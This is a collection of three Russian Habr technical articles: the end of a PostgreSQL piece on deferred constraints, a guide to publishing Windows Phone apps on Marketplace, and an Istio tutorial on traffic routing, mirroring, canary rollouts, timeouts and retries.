Но отложенные ограничения не лучшее решение в данном случае. Изменяемую позицию лучше хранить как дробь (рациональное число), вместо целого. Данный подход всегда позволит найти позицию между двумя существующими элементами. Посмотрите мою статью [User-defined Order in SQL](https://begriffs.com/posts/2018-03-20-user-defined-order.html). Такой подход позволит не использовать отложенные ограничения.
#### Загрузка данных в таблицы
Отложенные ограничения могут сделать процесс наполнения таблиц более удобным.
Например, отложенные внешние ключи позволяют загружать данные в таблицы в любом порядке. Например вначале потомков, а затем родителей.
В некоторых интернет статьях утверждают, что отложенные ограничения позволяют быстрее выполнять массовые вставки (bulk INSERTs). По моим оценкам, это миф. Во время фиксации транзакции такое же кол-во проверок будет выполнено для отложенных и не отложенных ограничений. Для проверки:
```
CREATE TABLE parent (
id int PRIMARY KEY,
name text NOT NULL
);
CREATE TABLE child (
id int PRIMARY KEY,
parent_id int REFERENCES parent
DEFERRABLE INITIALLY IMMEDIATE,
name text
);
INSERT INTO parent
SELECT
generate_series(1,1000000) AS id,
md5(random()::text) as name;
```
Теперь вставим 5 миллион строк в таблицу child и замерим время вставки и проверки внешнего ключа. Запуск был на моём ноутбуке с PostgreSQL 9.6.3:
```
INSERT INTO child
SELECT
generate_series(1,5000000) AS id,
generate_series(1,1000000) AS parent_id,
md5(random()::text) as name;
--
-- Time: 89064.987 ms
```
Попробуем ещё раз, но теперь отложим проверку ограничения:
```
BEGIN;
SET CONSTRAINTS child_parent_id_fkey DEFERRED;
INSERT INTO child
SELECT
generate_series(1,5000000) AS id,
generate_series(1,1000000) AS parent_id,
md5(random()::text) as name;
--
-- Time: 40828.810 ms
COMMIT;
--
-- Time: 47211.533 ms
-- Total: 88040.343 ms
```
Время, которое мы экономим при вставке, мы теряем в момент фиксации транзакции.
Единственный способ ускорить загрузку — это временно отключить проверку внешнего ключа (при условии, что мы заранее знаем, что данные для загрузки верны). Как правило, это плохая идея, потому что мы можем потратить больше времени на последующую отладку неконсистентности данных, чем на проверку согласованности во время вставки.
### Причины не использовать отложенные ограничения
Кажется что отложенные ограничения это круто! Объявление ограничений отложенными даёт нам большую гибкость, но почему не стоит откладывать все ограничения?
#### Планировщик запросов и штраф производительности
Планировщик запросов СУБД использует факты о данных для выбора правильных и эффективных стратегий выполнения. Его первая обязанность — возвращать правильные результаты, и он будет использовать оптимизацию только тогда, когда ограничения базы данных гарантируют корректность. По определению нет гарантий, что откладываемые ограничения будут выполняться всё время, поэтому они мешают планировщику.
Чтобы узнать больше, я спросил Andrew Gierth, [RhodiumToad](http://blog.rhodiumtoad.org.uk/), в IRC, и получил следующий ответ: «Планировщик может определить, что набор условий в таблице гарантирует уникальность результата. Если существует уникальный, неотложный индекс, он может исключить этап сортировки/уникальности или хеширования. Но при отложенных ограничениях могут присутствовать повторяющиеся значения».
Он обрисовал в общих чертах две оптимизации: одну в PostgreSQL 9 и одну в 10ой версии. Старый функционал — это удаление JOIN'a из запроса:
```
CREATE TABLE foo (
a integer UNIQUE,
b integer UNIQUE DEFERRABLE
);
EXPLAIN
SELECT t1.*
FROM foo t1
LEFT JOIN foo t2
ON (t1.a = t2.a);
```
Заметьте JOIN исчез, и используется обычный Seq Scan:
```
QUERY PLAN
----------------------------------------------------------
Seq Scan on foo t1 (cost=0.00..32.60 rows=2260 width=8)
```
Но если использовать JOIN по b, с отложенным ограничением, то JOIN останется:
```
EXPLAIN
SELECT t1.*
FROM foo t1
LEFT JOIN foo t2
ON (t1.b = t2.b);
QUERY PLAN
----------------------------------------------------------------------
Hash Left Join (cost=60.85..124.53 rows=2260 width=8)
Hash Cond: (t1.b = t2.b)
-> Seq Scan on foo t1 (cost=0.00..32.60 rows=2260 width=8)
-> Hash (cost=32.60..32.60 rows=2260 width=4)
-> Seq Scan on foo t2 (cost=0.00..32.60 rows=2260 width=4)
```
В PostgreSQL 10 есть другая оптимизация, которая превращает semi-JOIN из подзапроса IN в обычный JOIN, когда столбец подзапроса гарантировано уникален.
```
EXPLAIN
SELECT *
FROM foo
WHERE a IN (
SELECT a FROM foo
);
-- Планировщик понял, что столбец а уникальный
QUERY PLAN
-------------------------------------------------------------------------
Hash Join (cost=60.85..121.97 rows=2260 width=8)
Hash Cond: (foo.a = foo_1.a)
-> Seq Scan on foo (cost=0.00..32.60 rows=2260 width=8)
-> Hash (cost=32.60..32.60 rows=2260 width=4)
-> Seq Scan on foo foo_1 (cost=0.00..32.60 rows=2260 width=4)
```
В случае с b, отложенное ограничение помешает оптимизации
```
EXPLAIN
SELECT *
FROM foo
WHERE b IN (
SELECT b FROM foo
);
QUERY PLAN
-------------------------------------------------------------------------
Hash Semi Join (cost=60.85..124.53 rows=2260 width=8)
Hash Cond: (foo.b = foo_1.b)
-> Seq Scan on foo (cost=0.00..32.60 rows=2260 width=8)
-> Hash (cost=32.60..32.60 rows=2260 width=4)
-> Seq Scan on foo foo_1 (cost=0.00..32.60 rows=2260 width=4)
```
#### Усложнение отладки
Получение ошибок только после завершения набора запросов усложняет отладку. Ошибка не позволяет точно определить, какой запрос вызвал проблему. Вы можете и не найти нужный запрос по сообщению об ошибке.
```
CREATE TABLE u (
i int UNIQUE DEFERRABLE INITIALLY IMMEDIATE
);
BEGIN;
SET CONSTRAINTS u_i_key DEFERRED;
INSERT INTO u (i) VALUES (1), (2);
-- ... другие SQL-запросы
INSERT intu u (i) VALUES (2), (3);
-- ... другие SQL-запросы
INSERT intu u (i) VALUES (3), (4);
COMMIT;
ERROR: 23505: duplicate key value violates unique constraint "u_i_key"
DETAIL: Key (i)=(2) already exists.
```
В данном случае сообщение даёт достаточно информации, чтобы найти проблемный запрос, но может быть и более сложный случай без конкретных значений.
Ошибки во время фиксации транзакции могут не только сбить с толку, но и внести погрешность в ORM. DataMapper предназначены для упрощенного доступа к СУБД и не все могут правильно обработать ошибки ограничений на уровне транзакций.
Так же любая работа выполненная после отложенного ограничения может быть в итоге потеряна, после отката транзакции. Отложенные ограничения могут тратить CPU впустую.
### Откладывание ограничения по столбцу
Последний трюк для развлечения.
Команда *SET CONSTRAINTS* принимает имя ограничения. Но может быть удобнее отложить ограничения по столбцам. PostgreSQL information\_schema позволяет искать ограничения по столбцам.
```
CREATE VIEW deferrables AS
SELECT table_schema, table_name, column_name,
conname, contype
FROM
pg_constraint,
information_schema.constraint_column_usage
WHERE constraint_name = conname
AND condeferrable = TRUE;
-- Отложить все ограничения для столбца
CREATE FUNCTION defer_col_constraints(
t_name information_schema.sql_identifier,
c_name name
) RETURNS void AS $$
DECLARE
names text;
BEGIN
names := (
SELECT array_to_string(array_agg(conname), ', ')
FROM deferrables
WHERE table_name = $1
AND column_name = $2
);
EXECUTE format(
'SET CONSTRAINTS %s DEFERRED',
names
);
END;
$$ LANGUAGE plpgsql;
```
В примере выше мы могли бы использовать данную функцию для того чтобы отложить ограничения по столбца *child* и *parent\_id*.
```
BEGIN;
SELECT defer_col_constraints('child', 'parent_id');
-- ...
COMMIT;
``` | https://habr.com/ru/post/526042/ | null | ru | null |
# Подготовка и публикация приложений в Marketplace
Недавно мне невероятно повезло участвовать в вебинаре Microsoft Стаса Павлова и Юлии Щегловой "[Windows Phone для стартапов. Ответы на ваши вопросы](http://www.techdays.ru/videos/4270.html)" (запись доступна на [techdays](http://www.techdays.ru/videos/4270.html)).
Из-за технических накладок я не смог показать некоторые из подготовленных материалов. В этой статье я постараюсь рассказать о подготовке к публикации и самом процессе публикации приложения.
#### Подготовка к публикации.
##### 1. Проверяйте на «живом» железе.
Первый и довольно банальный совет заключается в том, чтобы проверять ваши приложения обязательно на физических устройствах. Для этого есть две основные причины. В первую очередь на эмуляторе можно не заметить проблем с производительностью, так как эмулятор работает слишком быстро. Если ресурсы телефона используются не эффективно, можно увидеть разницу в производительности между эмулятором и телефоном в десятки раз.
Также желательно проверять приложения на новых бюджетных устройствах с 256 мб памяти вроде Nokia Lumia 610. Так как на текущий момент он еще не в продаже, желательно хотя бы проверить приложение на эмуляторе с 256 мб, который идет в комплекте обновления инструментов [WP7 SDK 7.1.1](http://create.msdn.com/en-US/resources/downloads)
Вторая не менее важная причина заключается в обнаружении проблем взаимодействии с интерфейсом вашего приложения. Особенно важно проверять приложение на живом устройстве, если вы разрабатываете собственные элементы управления или пишете игры.
*Пример из жизни:
После разработки трехпозиционного чекбокса с которым можно было вполне успешно работать мышкой оказалось, что невероятно трудно попасть в него подушками пальцев. В другой реал-тайм стратегической игрушке по нашей логике клик на юните выделял его, а нажатие и прочерчивание машрута давала команду на перемешение/атаку по прорисованному маршруту. При тестировании на живом устройстве оказалось, что практически невозможно выделить юнит, вместо этого юнит перемещался на несколько пикселей, так как при нажатии пальцем обработчик показывал состояние словно нажали в определенной точке и слегка протащили.*
#### 2. Проверяйте ваше приложение с помощью Marketplace Test Kit
Еще одна настоятельная рекомендация проверять ваши приложения с помощью marketplace test kit. Этот замечательный инструмент поставляется вместе со средствами разработки, и запустить его достаточно просто — из контекстного меню при клике правой кнопкой мыши по проекту выбрать пункт Open Marketplace Test Kit
Надо учитывать, что тесты проводятся для самопроверки и результаты теста никуда не отправляются и не влияют непосредственно на сам процесс публикации приложения и всего лишь помогают убедиться в том, что вы ничего не забыли. Это инструмент, который может сэкономить дни и недели при публикации приложений.
Также надо учитывать, что успешное прохождение всех тестов совершенно не гарантирует того, что ваше приложение пройдет сертификацию, хотя шансы пройти сертификацию успешно резко повышаются.
В Test Kit-е мы можем увидеть 4-вкладки: Application Details, Automated Test, Monitored Test, Manual Tests:
##### 2.1. Application Details
Первая вкладка Application Details нужна для того, чтобы можно было убедиться в том, что вы подготовили все необходимые иконки и скриншоты.
Во время публикации приложения вам понадобиться три иконки размером 173х173, 200х200, 99х99.
При этом, несмотря на то, что в самом приложении используется иконка размером 173х173, при публикации ее возможно нельзя будет использовать. В приложении иконка, сделанная в метро-стиле для поддержки акцентного цвета, должна быть с прозрачным фоном. Кроме того, так как нужно место под подпись, иконка в приложении обычно смещена вверх относительно центра. Соответственно при публикации приложения нужны непрозрачные отцентрированные иконки с одним из акцентных цветов в фоне, вместо прозрачного фона.
Также обязательно надо указать минимум один скриншот. Максимально просто скриншот требуемого размера (480 х 800) можно сделать с помощью эмулятора.
Довольно часто задаваемый вопрос — как убрать циферки слева на эмуляторе. Эти числа являются отладочными и чтобы они не выводились, достаточно запустить приложение на эмуляторе без отладки (например, комбинацией Ctrl+F5 из студии). Также можно еще залить xap файл с помощью утилиты Application Deployment поставляемый с инструментами разработчика.
##### 2.2. Automated Test
Автоматизированных тестов очень мало, они проверяют, размер xap файла, указание в манифесте используемых функций, иконки (указанные в разделе Application Details) и скриншоты.
Размер xap файла должен быть менее 225 мб. Также надо учитывать, что если размер будет больше 20 мб, то он будет доступен для скачивания только через WiFi.
##### 2.3. Monitored Test
Эти тесты «мониторят» работу вашего приложения. Они работают только с физическим устройством и требуют релиз компиляции.
Приложение следит за временем запуска, потреблением памяти, краху приложения (приложение не должен закрываться неожиданно из-за ошибки) и использованию кнопки Back.
Также надо учитывать, что если эти тесты «не увидят» проблем с вашим приложением, это еще не значит что их нет, поэтому при проверке желательно по максимуму «нагружать» приложение. К примеру, если у вас есть какие-нибудь списки, то желательно заполнить как можно большим количеством элементов (количество зависит от особенностей вашего приложения, но обычно хватает 50-100 элементов, чтобы убедиться, есть ли проблемы или нет. Соответственно также надо по максимуму заполнять каждый из элементов – например, если в элементах отображаются картинки, то желательно заполнить разнообразными картинками.
##### 2.4. Manual Test
Здесь вы можете увидеть список из 50 пунктов, по которым вы можете проверить на соответствие ваше приложение. Для каждого из тестов вы сами проставляете результат теста
Возможно, вы потратите полдня — день на проверке соответствия всех этих тестов, но это может сэкономить вам недели.
#### 3. Публикация приложения
##### 3.1. Загрузка
Для публикации приложения у вас должен быть девелоперский аккаунт.
По адресу <http://create.msdn.com> вы можете зарегистрировать аккаунт или перейти в личный кабинет перейдя в меню: my dashboard -> windows phone
После того как выберем submit a new app, запускается мастер загрузки приложения.
На первом шаге мы указываем загружаемый xap файл, тип публикации и номер версии.
Указанное имя будет видно только в личном кабинете и не влияет на имя приложения в маркетплейсе.
Публикация в Private Beta Test позволит вам распространять приложение в закрытом доступе тестировщикам (или, на ваше усмотрение, коллегам, друзьям и родственникам :)
##### 3.2. Описание приложения.
Один из часто задаваемых вопросов касается заполнения описание. В частности как поменять/добавить языки.
Вы не можете поменять в деталях язык. Язык автоматически определяется из XAP файла.
Если вы хотите просто поменять основной язык вашего приложения, это можно сделать прямо в студии
в свойствах проекта вкладка Application в Assembly information выпадающее меню Neutral Language
Альтернативным вариантом является редактирование файла AssemblyInfo.cs, где надо указать нужный язык
```
[assembly: NeutralResourcesLanguageAttribute("ru-RU")]
```
Теперь если мы перезальем файл, то может увидеть, что вместо English у нас появился раздел Russian.
В большинстве случае требуется поддержка нескольких языков. В таком случае у вас должен быть один основной язык и поддерживаемые языки.
Сам процесс локализации совершенно идентичен процессу локализации обычных .NET десктоп, веб приложений.
К примеру, если у нас основной язык английский, и мы хотим добавить поддержку русского языка, мы добавляем соответствующие ресурсы
MyResource.resx
и локализованный языковой ресурс для русского языка:
MyResource.ru-RU.resx
Чтобы в маркетплейсе появились одновременно все языковые разделы, в нашем приложении, обязательно должны быть хотя бы один ресурс локализации для поддерживаемого языка.
Вторым шагом нам нужно отредактировать файл проекта нашего приложения [myprojectname].csproj
Надо открыть его в каком-нибудь текстовом редакторе (например в блокноте) и в разделе SupportedCultures указать поддерживаемые языки
ru-RU
Для нескольких языков через разделитель ";"
ru-RU;en-US
При этом основной язык указывать не обязательно
После этого мы можем видеть и заполнять информацию для всех поддерживаемых языков:
Дальше на этой странице заполняем описание приложения, ключевые поисковые слова и указываем соответствующие иконки и скриншоты приложения.
##### 3.3 Бета тест
Третий шаг зависит от того, что вы выбрали — бета тест или публичный доступ.
В случае, если вы выбрали бета публикацию вы увидите форму с предложением указать LiveId тестеров:
Здесь тоже достаточно просто после того как нажеме Submit в течении пары часов получите ссылку для скачивания приложения.
##### 3.3. Стоимость приложения (Public Marketplace )
В случае если была выбрана публикация в магазин приложений в третьем шаге будет предоставлена возможность указать цену и страны в которых будет опубликовано ваше приложение и наличие триальной версии. Для каждой страны цену указываются в национальной валюте:
##### 3.4. тест (Public Marketplace )
Следующим последним шагом вы увидите текстовое поле для команды сертификации. В этом поле указывайте кратко особенности вашего приложения. Особенно надо указывать особенности, которые не соответствует гайдлайнам. К примеру, если ваше приложение обязательно требует авторизации (к примеру, клиент социальной сети или он-лайн игры), то надо указывать, что это особенность клиентского приложения и что со стороны сервера требуется авторизация для продолжения работы.
Также вы можете выбрать опции публикации. В этом пункте рекомендую выбирать последний пункт — публикацию вручную после прохождения сертификации. Довольно часто бывает, что обнаруживаются серьезные баги после начала процесса сертификации, и у вас появляется возможность исправить ошибку, не показывая ее пользователям.
Официально требуется около 5 дней на сертификацию приложения, однако у меня уходило от 4 до 8 дней на сертификацию.
После завершения сертификации вы получите письмо со статусом прохождения сертификации. В случае неудачи вы получите подробный отчет с информацией о том, что именно помешало пройти сертификацию.
У меня было несколько случаев, когда приложение было отклонено по ошибке. Последующее повторение запуска сертификации с подробным описанием, почему я не согласен с результатом приводило к тому что приложение проходило сертификацию. Так что не стесняйтесь писать тестровщикам об особенностях вашего приложения — это тоже может сэкономить время.
P.S. Как верно подмечено в [комментариях ниже](http://habrahabr.ru/post/142469/#comment_4768984) если ваше приложение требует авторизации то желательно предоставлять тестовый аккаунт. У меня было отклонено три приложения требующие авторизации именно из за этого. Предоставляйте тестовый аккаунт тестерам даже если это клиенты популярных соцсетей типа Facebook или Twitter. | https://habr.com/ru/post/142469/ | null | ru | null |
# Назад к микросервисам вместе с Istio. Часть 2
***Прим. перев.**: [Первая часть](https://habr.com/ru/company/flant/blog/438426/) этого цикла была посвящена знакомству с возможностями Istio и их демонстрации в действии. Теперь же речь пойдёт про более сложные аспекты конфигурации и использования этого service mesh, а в частности — про тонко настраиваемую маршрутизацию и управление сетевым трафиком.
Напоминаем также, что в статье используются конфигурации (манифесты для Kubernetes и Istio) из репозитория [istio-mastery](https://github.com/rinormaloku/istio-mastery).*
Управление трафиком
-------------------
С Istio в кластере появляются новые возможности, позволяющие обеспечить:
* **Динамическую маршрутизацию запросов**: канареечные выкаты, A/B-тестирование;
* **Балансировку нагрузки**: простую и непротиворечивую, основанную на хэшах;
* **Восстановление после падений**: таймауты, повторные попытки, circuit breakers;
* **Внесение неисправностей**: задержки, обрыв запросов и т.п.
В продолжении статьи эти возможности будут показаны на примере выбранного приложения и попутно представлены новые концепции. Первой такой концепцией станет `DestinationRules` *(т.е. правила о получателе трафика/запросов — прим. перев.)*, с помощью которых мы активируем A/B-тестирование.
A/B-тестирование: DestinationRules на практике
-----------------------------------------------
A/B-тестирование применяется в случаях, когда существуют две версии приложения (обычно они отличаются визуально) и мы не уверены на 100%, какая из них улучшит взаимодействие с пользователем. Поэтому мы одновременно запускаем обе версии и собираем метрики.
Для деплоя второй версии фронтенда, необходимой для демонстрации A/B-тестирования, выполните следующую команду:
```
$ kubectl apply -f resource-manifests/kube/ab-testing/sa-frontend-green-deployment.yaml
deployment.extensions/sa-frontend-green created
```
Манифест deployment'а для «зелёной версии» отличается в двух местах:
1. Образ основан на ином теге — `istio-green`,
2. Pod'ы имеют лейбл `version: green`.
Поскольку оба deployment'а имеют лейбл `app: sa-frontend`, запросы, маршрутизируемые виртуальным сервисом `sa-external-services` на сервис `sa-frontend`, будут перенаправлены на все его экземпляры и нагрузка распределится посредством [алгоритма round-robin](https://ru.wikipedia.org/wiki/Round-robin_(%D0%B0%D0%BB%D0%B3%D0%BE%D1%80%D0%B8%D1%82%D0%BC)), что приведёт к следующей ситуации:
*Запрашиваемые файлы не найдены*
Эти файлы не были найдены из-за того, что они по-разному называются в разных версиях приложения. Давайте убедимся в этом:
```
$ curl --silent http://$EXTERNAL_IP/ | tr '"' '\n' | grep main
/static/css/main.c7071b22.css
/static/js/main.059f8e9c.js
$ curl --silent http://$EXTERNAL_IP/ | tr '"' '\n' | grep main
/static/css/main.f87cd8c9.css
/static/js/main.f7659dbb.js
```
Это означает, что `index.html`, запрашивающий одну версию статических файлов, может быть отправлен балансировщиком нагрузки на pod'ы, имеющие другую версию, где, по понятным причинам, таких файлов не существует. Поэтому для того, чтобы приложение заработало, нам необходимо поставить ограничение: «**та же версия приложения, что отдала index.html, должна обслужить и последующие запросы**».
Мы добьёмся цели с помощью непротиворечивой балансировки нагрузки на основе хэшей *(Consistent Hash Loadbalancing)*. В этом случае **запросы от одного клиента отправляются в один и тот же экземпляр бэкенда**, для чего используется предопределённое свойство — например, HTTP-заголовок. Реализуется с помощью DestinationRules.
DestinationRules
----------------
После того, как **VirtualService** направил запрос в нужный сервис, с помощью DestinationRules мы можем определить политики, которые будут применяться к трафику, предназначаемому экземплярам этого сервиса:
*Управление трафиком с ресурсами Istio*
**Примечание**: Влияние ресурсов Istio на сетевой трафик представлено здесь в упрощённом для понимания виде. Если быть точным, то решение, на какой экземпляр отправлять запрос, делается Envoy'ем в Ingress Gateway, настроенным в CRD.
С помощью Destination Rules мы можем настроить балансировку нагрузки так, чтобы использовались непротиворечивые хэши и гарантировались ответы одного и того же экземпляра сервиса одному и тому же пользователю. Следующая конфигурация позволяет добиться этого ([destinationrule-sa-frontend.yaml](https://gist.github.com/rinormaloku/b13db113c7490d04f46a43bd17dbd6be#file-destinationrule-sa-frontend-yaml)):
```
apiVersion: networking.istio.io/v1alpha3
kind: DestinationRule
metadata:
name: sa-frontend
spec:
host: sa-frontend
trafficPolicy:
loadBalancer:
consistentHash:
httpHeaderName: version # 1
```
1 — хэш будет генерироваться на основе содержимого HTTP-заголовка `version`.
Примените конфигурацию следующей командой:
```
$ kubectl apply -f resource-manifests/istio/ab-testing/destinationrule-sa-frontend.yaml
destinationrule.networking.istio.io/sa-frontend created
```
А теперь выполните команду ниже и убедитесь, что получаете нужные файлы, когда указываете заголовок `version`:
```
$ curl --silent -H "version: yogo" http://$EXTERNAL_IP/ | tr '"' '\n' | grep main
```
**Примечание**: Чтобы добавлять различные значения в заголовке и тестировать результаты прямо в браузере, можно воспользоваться [этим расширением](https://chrome.google.com/webstore/detail/modheader/idgpnmonknjnojddfkpgkljpfnnfcklj) к Chrome *(или [вот этим](https://addons.mozilla.org/en-US/firefox/addon/modify-header-value/) для Firefox — прим. перев.)*.
Вообще же, у DestinationRules есть больше возможностей в области балансировки нагрузки — подробности уточняйте в [официальной документации](https://preliminary.istio.io/docs/reference/config/networking/v1alpha3/destination-rule/#LoadBalancerSettings).
Перед тем, как изучать VirtualService дальше, удалим «зелёную версию» приложения и соответствующее правило по направлению трафика, выполнив следующие команды:
```
$ kubectl delete -f resource-manifests/kube/ab-testing/sa-frontend-green-deployment.yaml
deployment.extensions “sa-frontend-green” deleted
$ kubectl delete -f resource-manifests/istio/ab-testing/destinationrule-sa-frontend.yaml
destinationrule.networking.istio.io “sa-frontend” deleted
```
Зеркалирование: Virtual Services на практике
---------------------------------------------
Shadowing *(«экранирование»)* или Mirroring *(«зеркалирование»)* применяется в тех случаях, когда мы хотим протестировать изменение в production, не затронув конечных пользователей: для этого мы дублируем («зеркалируем») запросы на второй экземпляр, где произведены нужные изменения, и смотрим на последствия. *Проще говоря, это когда ваш(а) коллега выбирает самый критичный issue и делает pull request в виде такого огромного комка грязи, что никто не может в действительности сделать ему ревью.*
Чтобы проверить этот сценарий в действии, создадим второй экземпляр SA-Logic с багами (`buggy`), выполнив следующую команду:
```
$ kubectl apply -f resource-manifests/kube/shadowing/sa-logic-service-buggy.yaml
deployment.extensions/sa-logic-buggy created
```
И теперь выполним команду, чтобы убедиться, что все экземпляры с `app=sa-logic` имеют ещё и лейблы с соответствующими версиями:
```
$ kubectl get pods -l app=sa-logic --show-labels
NAME READY LABELS
sa-logic-568498cb4d-2sjwj 2/2 app=sa-logic,version=v1
sa-logic-568498cb4d-p4f8c 2/2 app=sa-logic,version=v1
sa-logic-buggy-76dff55847-2fl66 2/2 app=sa-logic,version=v2
sa-logic-buggy-76dff55847-kx8zz 2/2 app=sa-logic,version=v2
```
Сервис `sa-logic` нацелен на pod'ы с лейблом `app=sa-logic`, поэтому все запросы будут распределены между всеми экземплярами:
… но мы хотим, чтобы запросы направлялись на экземпляры с версией v1 и зеркалировались на экземпляры с версией v2:
Добьёмся этого через VirtualService в комбинации с DestinationRule, где правила определят подмножества и маршруты VirtualService к конкретному подмножеству.
Определение подмножеств в Destination Rules
-------------------------------------------
Подмножества *(subsets)* определяются следующей конфигурацией ([sa-logic-subsets-destinationrule.yaml](https://gist.github.com/rinormaloku/8fdbbf88d99611c292d3ca0c07b8fc9a#file-sa-logic-subsets-destinationrule-yaml)):
```
apiVersion: networking.istio.io/v1alpha3
kind: DestinationRule
metadata:
name: sa-logic
spec:
host: sa-logic # 1
subsets:
- name: v1 # 2
labels:
version: v1 # 3
- name: v2
labels:
version: v2
```
1. Хост (`host`) определяет, что это правило применяется только к случаям, когда маршрут идёт в сторону сервиса `sa-logic`;
2. Названия (`name`) подмножеств используются при маршрутизации на экземпляры подмножества;
3. Лейбл (`label`) определяет пары ключ-значение, которым должны соответствовать экземпляры, чтобы стать частью подмножества.
Примените конфигурацию следующей командой:
```
$ kubectl apply -f resource-manifests/istio/shadowing/sa-logic-subsets-destinationrule.yaml
destinationrule.networking.istio.io/sa-logic created
```
Теперь, когда подмножества определены, можно двигаться дальше и настроить VirtualService, чтобы применить правила к запросам к sa-logic, чтобы они:
1. Маршрутизировались к подмножеству `v1`,
2. Зеркалировались к подмножеству `v2`.
Следующий манифест позволяет добиться задуманного ([sa-logic-subsets-shadowing-vs.yaml](https://gist.github.com/rinormaloku/5d7d969b7b0273089c1f12ed89bb916c#file-sa-logic-subsets-shadowing-vs-yaml)):
```
apiVersion: networking.istio.io/v1alpha3
kind: VirtualService
metadata:
name: sa-logic
spec:
hosts:
- sa-logic
http:
- route:
- destination:
host: sa-logic
subset: v1
mirror:
host: sa-logic
subset: v2
```
Пояснения здесь не требуются, так что просто посмотрим в действии:
```
$ kubectl apply -f resource-manifests/istio/shadowing/sa-logic-subsets-shadowing-vs.yaml
virtualservice.networking.istio.io/sa-logic created
```
Добавим нагрузку вызовом такой команды:
```
$ while true; do curl -v http://$EXTERNAL_IP/sentiment \
-H "Content-type: application/json" \
-d '{"sentence": "I love yogobella"}'; \
sleep .8; done
```
Посмотрим на результаты в Grafana, где можно увидеть, что версия с багами (`buggy`) приводит к сбою для ~60 % запросов, но ни один из этих сбоев не затрагивает конечных пользователей, поскольку им отвечает работающий сервис.
*Успешность ответов разных версий сервиса sa-logic*
Здесь мы впервые увидели, как VirtualService применяется по отношению к Envoy'ям наших сервисов: когда `sa-web-app` делает запрос к `sa-logic`, он проходит через sidecar Envoy, который — через VirtualService — настроен на маршрутизацию запроса к подмножеству v1 и зеркалированию запроса к подмножеству v2 сервиса `sa-logic`.
Знаю: вы уже успели подумать, что Virtual Services просты. В следующем разделе мы расширим это мнение тем, что они ещё и по-настоящему великолепны.
Канареечные выкаты
------------------
Canary Deployment — процесс выкатывания новой версии приложения для небольшого числа пользователей. Его используют, чтобы убедиться в отсутствии проблем в релизе и только после этого, уже будучи уверенным в достаточном его (релиза) качестве, распространить на б*о*льшую аудиторию.
Для демонстрации канареечных выкатов мы продолжим работу с подмножеством `buggy` у `sa-logic`.
Не будем мелочиться и сразу же отправим 20 % пользователей на версию с багами (она и будет представлять наш канареечный выкат), а оставшиеся 80 % — на нормальный сервис. Для этого применим следующий VirtualService ([sa-logic-subsets-canary-vs.yaml](https://gist.github.com/rinormaloku/e67a7a6db1bc42def3aa6af9936444bb#file-sa-logic-subsets-canary-vs-yaml)):
```
apiVersion: networking.istio.io/v1alpha3
kind: VirtualService
metadata:
name: sa-logic
spec:
hosts:
- sa-logic
http:
- route:
- destination:
host: sa-logic
subset: v1
weight: 80 # 1
- destination:
host: sa-logic
subset: v2
weight: 20 # 1
```
1 — это вес (`weight`), определяющий процент запросов, которые будут направлены на получателя или подмножество получателя.
Обновим прошлую конфигурацию VirtualService для `sa-logic` следующей командой:
```
$ kubectl apply -f resource-manifests/istio/canary/sa-logic-subsets-canary-vs.yaml
virtualservice.networking.istio.io/sa-logic configured
```
… и сразу же увидим, что часть запросов приводит к сбоям:
```
$ while true; do \
curl -i http://$EXTERNAL_IP/sentiment \
-H "Content-type: application/json" \
-d '{"sentence": "I love yogobella"}' \
--silent -w "Time: %{time_total}s \t Status: %{http_code}\n" \
-o /dev/null; sleep .1; done
Time: 0.153075s Status: 200
Time: 0.137581s Status: 200
Time: 0.139345s Status: 200
Time: 30.291806s Status: 500
```
VirtualServices активируют канареечные выкаты: в данном случае мы сузили потенциальные последствия от проблем до 20 % от пользовательской базы. Прекрасно! Теперь в каждом случае, когда мы не уверены в своём коде (иными словами — всегда…), мы можем использовать зеркалирование и канареечные выкаты.
Таймауты и повторные попытки
----------------------------
Но не всегда баги оказываются в коде. В списке из «[8 заблуждений в распределённых вычислениях](https://en.wikipedia.org/wiki/Fallacies_of_distributed_computing#The_fallacies)» на первом месте значится ошибочное мнение, что «сеть надёжна». В действительности сеть **не** надёжна, и по этой причине нам нужны таймауты *(timeouts)* и повторные попытки *(retries)*.
Для демонстрации мы продолжим использовать ту же проблему версию `sa-logic` (`buggy`), а ненадёжность сети будем симулировать случайными сбоями.
Пусть наш сервис с багами имеет 1/3 шанс на слишком долгий ответ, 1/3 — на завершение с ошибкой Internal Server Error и 1/3 — на успешную отдачу страницы.
Чтобы смягчить последствия от подобных проблем и сделать жизнь пользователей лучше, мы можем:
1. добавить таймаут, если сервис отвечает дольше 8 секунд,
2. предпринимать повторную попытку, если у запроса происходит сбой.
Для реализации воспользуемся таким определением ресурса ([sa-logic-retries-timeouts-vs.yaml](https://gist.github.com/rinormaloku/959e271fbdbbb659a501abdde9ffdd13#file-sa-logic-retries-timeouts-vs-yaml)):
```
apiVersion: networking.istio.io/v1alpha3
kind: VirtualService
metadata:
name: sa-logic
spec:
hosts:
- sa-logic
http:
- route:
- destination:
host: sa-logic
subset: v1
weight: 50
- destination:
host: sa-logic
subset: v2
weight: 50
timeout: 8s # 1
retries:
attempts: 3 # 2
perTryTimeout: 3s # 3
```
1. Таймаут для запроса установлен в 8 секунд;
2. Повторные попытки запросов предпринимаются по 3 раза;
3. И каждая попытка считается неудачной, если время ответа превышает 3 секунды.
Так мы добились оптимизации, поскольку пользователю не придётся ждать более 8 секунд и мы предпримем три новые попытки получить ответ в случае сбоев, повышая шанс на успешный ответ.
Примените обновлённую конфигурацию следующей командой:
```
$ kubectl apply -f resource-manifests/istio/retries/sa-logic-retries-timeouts-vs.yaml
virtualservice.networking.istio.io/sa-logic configured
```
И проверьте в графиках Grafana, что количество успешных ответов стало свыше:
*Улучшения в статистике успешных ответов после добавления таймаутов и повторных попыток*
Перед тем, как переходить к следующему разделу *(а точнее — уже к следующей части статьи, т.к. в этой практических экспериментов больше не будет — прим. перев.)*, удалите `sa-logic-buggy` и VirtualService, выполнив следующие команды:
```
$ kubectl delete deployment sa-logic-buggy
deployment.extensions “sa-logic-buggy” deleted
$ kubectl delete virtualservice sa-logic
virtualservice.networking.istio.io “sa-logic” deleted
```
Паттерны Circuit Breaker и Bulkhead
-----------------------------------
Речь идёт о двух важных паттернах в микросервисной архитектуре, которые позволяют добиться самостоятельного восстановления *(self-healing)* сервисов.
**Circuit Breaker** *(«автоматический выключатель»)* используется для прекращения запросов, поступающих на экземпляр сервиса, который считается нездоровым, и его восстановления в то время, как запросы клиентов перенаправляются на здоровые экземпляры этого сервиса (что повышает процент успешных ответов). *(Прим. перев.: Более подробное описание паттерна можно найти, например, [здесь](https://en.wikipedia.org/wiki/Circuit_breaker_design_pattern).)*
